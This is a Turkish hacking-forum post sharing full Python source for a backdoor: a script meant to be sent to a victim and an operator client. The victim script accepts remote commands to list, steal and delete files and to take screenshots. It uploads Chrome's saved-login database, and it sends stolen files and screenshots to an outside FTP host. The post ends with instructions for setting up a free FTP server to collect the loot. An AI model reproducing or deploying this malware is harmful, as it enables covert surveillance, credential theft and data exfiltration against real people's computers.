Python ile backdoor

aybenmila

Yeni üye
18 Tem 2023
20
7
Bugün birkaç ay önce yağtığım backdoor kodunu paylaşacağım.
Server komudu (kurbana göndereceğiniz kod):
Python:
import socket
import os , ftplib
from pyautogui import screenshot
from sys import exit
print("açıldı")
def get_chrome():
   try:
    data_path = os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
    var_chrome = True
    i = 0
    while var_chrome:
        if f"chrome_{i}.db" in ftp.nlst():
            i +=1
        else:
            ftp.storbinary(f"STOR chrome_{i}.db",open(data_path,"rb"))
            return True
       
   except:
    return False
ip_adress=socket.gethostbyname(socket.gethostname())
#check_call('netsh.exe advfirewall set publicprofile state off')
# Server bilgileri
server_host = ip_adress
server_port = "port:int"

ftp = ftplib.FTP("ftpupload.net")
ftp.login("username","password")
dosya = f"{ip_adress}.txt"

if dosya in ftp.nlst():
    pass
else:
    with open("main.txt","w")as f:
        f.write("s")
    with open("main.txt","rb")as f:
        ftp.storbinary(f"STOR {ip_adress}.txt",f)
    os.remove("main.txt")


# Socket oluşturma
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bağlantı noktasını sunucu adresine bağlama
server_socket.bind((server_host, server_port))

# Bağlantıları dinleme
server_socket.listen(5)

# Bağlantı kabul etme ve mesaj alma
while True:
    client_socket, client_address = server_socket.accept()
    print(f"Gelen bağlantı: {client_address}")
    while True:
        message = client_socket.recv(1024)
        mesaj = message.decode()
        split = mesaj.split()
        if not message:
            break
        if mesaj ==".ls":
            global metin
            metin = ""
            for file in os.listdir():
                metin = metin +" "+ file
            client_socket.sendall(metin.encode())
        elif mesaj==".ss":
            ss = screenshot()
            ss.save("image.png")
            i = 0
            var = True
            while var:
             image = f"ss{i}.png"
             if image in ftp.nlst():
                i +=1
             else:
              ftp.storbinary(f"Stor {image}",open("image.png","rb"))
              var = False
           
            os.remove("image.png")
            client_socket.sendall("Resim gönderildi.".encode())
        elif split[0] == ".cd":
            if len(split) == 1:
               client_socket.sendall(os.getcwd.encode())
            try:
                os.chdir(split[1])
                client_socket.sendall(f"dosya yolu {split[1]} olarak değiltirildi.".encode())
            except:
                client_socket.sendall("Dosya yolu bulunamadı.".encode())
        elif split[0] == ".uyarı":
            import win32api
            import win32con

            # Uyarı penceresi başlığı ve mesajı
            title = split[1].replace("__"," ")
            message = split[2].replace("__"," ")

            # Uyarı penceresi gösterimi
            win32api.MessageBox(None, message, title, win32con.MB_OK | win32con.MB_ICONWARNING)
            client_socket.sendall("Başarılı bir şekilde uyarı verildi.".encode())
        elif split[0] ==".steal":
            try:
               with open(split[1],"rb")as f:
                ftp.storbinary(f"STOR {split[1]}.txt",f)
                client_socket.sendall("Gönderildi".encode())
               
            except:
                client_socket("bulunamadı.")
        elif split[0] == ".yarat":
            try:
             if split[1] =="file":  
                dosya = open(split[2],"w")
                dosya.write(" ")
             elif split[1] =="folder":
                os.makedirs(split[2])
            except:
                print("yanlış bişeyler var.")
        elif split[0] ==".sil":
            os.remove(split[1])
        elif mesaj == ".kapat":
            exit()
        elif mesaj == ".chrome":
            if get_chrome() ==True:
                client_socket.sendall("gitti".encode())
            else:
                client_socket.sendall("gitmedi".encode())
        elif split[0] ==".indir":
            dosya = open(split[1],"wb")
            ftp.retrbinary(f"RETR {split[1]}",dosya.write())

   

        else:
            client_socket.sendall("lütfen geçerli bir komut giriniz".encode())
    client_socket.close()


Admin (kendi kullanıcağınız kod) :
Python:
import socket
from sys import exit
from subprocess import call
import ftplib

ftp = ftplib.FTP("ftpupload.net")
ftp.login("username","password")


Unconnected = True
while Unconnected:
    ip_adress = input("İp adresini giriniz>")
    server_host = ip_adress
    server_port = "port:int"
    try:
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_socket.connect((server_host, server_port))
        Unconnected =False
    except:
        print("Bağlanılamadı.")





# Mesaj gönderme ve alma
while True:
    message = input(">")
    split = message.split()
    if not bool(message):
        message = "yok"
    if message == ".exit":
        exit()
    if message == ".cls":
        call("cls",shell=True)
    if message == ".help" or message == ".?" or message ==".?":
        print("""
ls = list files.
ss = ekran görüntüsü.
cd = .cd = getcwd , .cd path current_path-->path
uyarı = .uyarı Başlık içerik __-->boşluk
steal = .steal x.txt x.txt --> ftp
yarat = file / folder
sil = x.txt -->puff
""")  
        continue
    if split[0] == ".gönder":
        dosya = open(split[1],"rb")
        if split[1] not in ftp.nlst():
         ftp.storbinary(f"STOR {split[1]}",dosya)
         print(split[1],"gönderildi")
         continue
        else:
            print("Dosya zaten sunucuda")
            continue
    client_socket.sendall(message.encode())
    reply = client_socket.recv(1024)
    print(reply.decode())



# Soketi kapatma
client_socket.close()
Kod:

Bu kodları kullanmak için bir ftp sunucusuna ihtiyacınız var eğer istiyorsanız kodlarla oynayarak mesajları ve ss'leri discorda da gönderebilirsiniz size kalmış.
Ftp sunucusuna gelirsek Buradan kendinize site açıp oradan ftp sunucusu açabilirsiniz tamamen bedava dosyaları almak için filezilla gibi uygulamalara ihtiyacınız var.
siteden ftp sunucusunun bilgilerini aldıkdan sonra ftp.login() fonksiyonuna giriniz portlarıda girmeyi unutmayın
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.